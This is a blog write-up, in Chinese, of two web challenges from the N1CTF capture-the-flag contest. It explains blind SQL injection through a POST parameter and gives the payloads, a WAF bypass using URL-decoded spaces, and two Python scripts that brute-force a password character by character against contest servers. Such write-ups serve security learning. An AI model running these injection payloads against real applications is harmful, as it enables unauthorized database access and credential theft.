【CTF-Web】N1CTF注入两道

2018-03-13  本文已影响98人  Kirin_say

Nu1L主办的赛事,又划了一次水
小记Web的两道注入

77777:

代码看一下,显然是 sql注入,需要我们 post两个数据 flag和 hi,利用 hi注入,这次大部分关键字都被过滤了,发现 where,if和 like 还有
通配符”_”还在,直接构造模糊查询:

flag=2&hi=0-if((password like '_____________'),1,0)

(mypoint 返回19 就可以了)
(我本来用的where 解的,比赛结束重新试好像不行,估计是我这边解析问题,只能重新构造用 if 了)
脚本:

import urllib
import requests

keys="0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
url = "http://47.97.168.223/"
for i in range(1,10000):
    for j in keys:
        payload = "0-if((password like '%s____________'),1,0)" %j
        data = {
            "flag":"2",
            "hi":payload
        }
        r= requests.post(url=url,data=data)
        if '19' in r.content[1850:1900]:
            print  j
            break

类似这样一位一位破就行

77777 2

我从 hackbar 端试了一下,发现几乎什么都不能用,最后我构造了 unhex:


unhex

理论上能,但是爆破几位就发现错误,我怀疑是最后的 payload 过长.......

不过队友学长那边+,%都能用,给了我启发,多半是我这边 hackbar 发送 post数据乱解析了 ( 因为新版火狐我安装的不是当年的那个hackbar 了)。
直接 BP 抓包,果然:


图片.png

最后晚上改好了脚本:

import urllib
import requests

keys="zyxwvutsrqponmlkjihgfedcba9876543210"
flag=""
url = "http://47.52.137.90:20000/"
for i in range(1,10000):
    for j in keys:
        payload = "0-if((+pw%20>'"+flag+j+"'),1,0)"
        data = {
            "flag":"2",
            "hi":urllib.unquote(payload)
        }
        r= requests.post(url=url,data=data)
        if '19' in r.content[1850:1900]:
            flag+=j
            print   flag
            break

有几点注意一下:
Python 直接post 还会被 waf,因为会url 编码,但是我们用于绕过的字符%20没编(我又抓了 python 的包看了一下):
让我想起 n年前的 cookie注入,所以这里用一下 urllib.unquote()
还有,因为用到字符串比较:>,跑最后一位可以 reverse一下 pw

上一篇下一篇

猜你喜欢

热点阅读